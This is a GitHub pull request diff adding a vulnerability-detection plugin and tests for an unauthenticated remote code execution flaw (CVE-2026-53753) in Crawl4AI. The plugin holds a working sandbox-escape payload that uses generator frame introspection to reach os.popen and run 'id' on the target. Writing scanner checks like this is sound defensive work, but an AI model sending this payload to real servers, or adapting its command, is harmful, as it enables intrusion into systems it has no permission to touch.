-
Notifications
You must be signed in to change notification settings - Fork 221
feat(templated):CVE-2026-53753-Crawl4AI #878
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from 1 commit
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -0,0 +1,91 @@ | ||||||
| # proto-file: proto/templated_plugin.proto | ||||||
| # proto-message: TemplatedPlugin | ||||||
|
|
||||||
| ############### | ||||||
| # PLUGIN INFO # | ||||||
| ############### | ||||||
|
|
||||||
| info: { | ||||||
| type: VULN_DETECTION | ||||||
| name: "Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753" | ||||||
| author: "mangeshwalsane2-hash" | ||||||
| version: "1.0" | ||||||
| } | ||||||
|
|
||||||
| finding: { | ||||||
| main_id: { | ||||||
| publisher: "GOOGLE" | ||||||
| value: "CVE-2026-53753" | ||||||
| } | ||||||
| severity: CRITICAL | ||||||
| title: "Unauthenticated Remote Code Execution (AST Sandbox Escape) in Crawl4AI" | ||||||
| description: "Crawl4AI versions 0.8.6 and prior contain an unauthenticated remote code execution vulnerability via computed field expression evaluation. An attacker can send a crafted JsonCssExtractionStrategy schema that escapes the AST allow-list using Python generator frame introspection (gi_frame.f_back), reaching real builtins and executing arbitrary OS commands." | ||||||
| recommendation: "Upgrade Crawl4AI to version 0.8.7 or higher, enable JWT authentication, and avoid exposing the API to untrusted networks." | ||||||
| related_id: { | ||||||
| publisher: "CVE" | ||||||
| value: "CVE-2026-53753" | ||||||
| } | ||||||
| } | ||||||
|
|
||||||
| config: { | ||||||
| debug: true | ||||||
| } | ||||||
|
|
||||||
| ########### | ||||||
| # ACTIONS # | ||||||
| ########### | ||||||
|
|
||||||
| actions: { | ||||||
| name: "fingerprint_crawl4ai" | ||||||
| http_request: { | ||||||
| method: POST | ||||||
| uri: "/crawl" | ||||||
| headers: [ | ||||||
| { | ||||||
| name: "Content-Type" | ||||||
| value: "application/json" | ||||||
| } | ||||||
| ] | ||||||
| data: "{\"urls\": [\"raw://<html><body><div>test</div></body></html>\"]}" | ||||||
| response: { | ||||||
| http_status: 200 | ||||||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||||||
| } | ||||||
| } | ||||||
| } | ||||||
|
|
||||||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||||||
| actions: { | ||||||
| name: "trigger_rce_sandbox_escape" | ||||||
|
Collaborator
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
| http_request: { | ||||||
| method: POST | ||||||
| uri: "/crawl" | ||||||
| headers: [ | ||||||
| { | ||||||
| name: "Content-Type" | ||||||
| value: "application/json" | ||||||
| } | ||||||
| ] | ||||||
| data: "{\"urls\":[\"raw://<html><body><div id=\\\"x\\\">content</div></body></html>\"],\"crawler_config\":{\"type\":\"CrawlerRunConfig\",\"params\":{\"extraction_strategy\":{\"type\":\"JsonCssExtractionStrategy\",\"params\":{\"schema\":{\"name\":\"pwn\",\"baseSelector\":\"div\",\"fields\":[{\"name\":\"out\",\"type\":\"computed\",\"expression\":\"(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins[\\\"__import__\\\"](\\\"os\\\").popen(\\\"id\\\").read() for i in [1])), list(g))[-1])()\"}]}}}}}}" | ||||||
| response: { | ||||||
| http_status: 200 | ||||||
| expect_all: { | ||||||
| conditions: [ | ||||||
| { | ||||||
| body: {} | ||||||
| contains: "uid=" | ||||||
| } | ||||||
| ] | ||||||
| } | ||||||
| } | ||||||
| } | ||||||
| } | ||||||
|
|
||||||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||||||
| ############# | ||||||
| # WORKFLOWS # | ||||||
| ############# | ||||||
|
|
||||||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||||||
| workflows: { | ||||||
| actions: [ | ||||||
| "fingerprint_crawl4ai", | ||||||
| "trigger_rce_sandbox_escape" | ||||||
|
Collaborator
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
| ] | ||||||
| } | ||||||
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,57 @@ | ||||||||||||||||||||||||||||||
| # proto-file: proto/templated_plugin_tests.proto | ||||||||||||||||||||||||||||||
| # proto-message: TemplatedPluginTests | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| config: { | ||||||||||||||||||||||||||||||
| tested_plugin: "Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753" | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| tests: { | ||||||||||||||||||||||||||||||
| name: "whenVulnerable_returnsTrue" | ||||||||||||||||||||||||||||||
|
Collaborator
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||||||||||||||||||||||||||
| expect_vulnerability: true | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| mock_http_server: { | ||||||||||||||||||||||||||||||
| mock_responses: [ | ||||||||||||||||||||||||||||||
| { | ||||||||||||||||||||||||||||||
| uri: "/crawl" | ||||||||||||||||||||||||||||||
| status: 200 | ||||||||||||||||||||||||||||||
| body_content: "{\"data\": \"uid=0(root) gid=0(root) groups=0(root)\"}" | ||||||||||||||||||||||||||||||
|
Collaborator
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||||||||||||||||||||||||||
| headers: [ | ||||||||||||||||||||||||||||||
| { name: "Content-Type" value: "application/json" } | ||||||||||||||||||||||||||||||
| ] | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
| ] | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| tests: { | ||||||||||||||||||||||||||||||
| name: "whenNotVulnerable_returnsFalse" | ||||||||||||||||||||||||||||||
|
Collaborator
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||||||||||||||||||||||||||
| expect_vulnerability: false | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| mock_http_server: { | ||||||||||||||||||||||||||||||
| mock_responses: [ | ||||||||||||||||||||||||||||||
| { | ||||||||||||||||||||||||||||||
| uri: "/crawl" | ||||||||||||||||||||||||||||||
| status: 200 | ||||||||||||||||||||||||||||||
| body_content: "{\"data\": \"safe output\"}" | ||||||||||||||||||||||||||||||
|
Collaborator
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||||||||||||||||||||||||||
| headers: [ | ||||||||||||||||||||||||||||||
| { name: "Content-Type" value: "application/json" } | ||||||||||||||||||||||||||||||
| ] | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
| ] | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||||||||||||||||||||||||||||||
| tests: { | ||||||||||||||||||||||||||||||
| name: "whenNotCrawl4AI_returnsFalse" | ||||||||||||||||||||||||||||||
| expect_vulnerability: false | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| mock_http_server: { | ||||||||||||||||||||||||||||||
| mock_responses: [ | ||||||||||||||||||||||||||||||
| { | ||||||||||||||||||||||||||||||
| uri: "TSUNAMI_MAGIC_ANY_URI" | ||||||||||||||||||||||||||||||
| status: 404 | ||||||||||||||||||||||||||||||
| body_content: "Not Found" | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
| ] | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.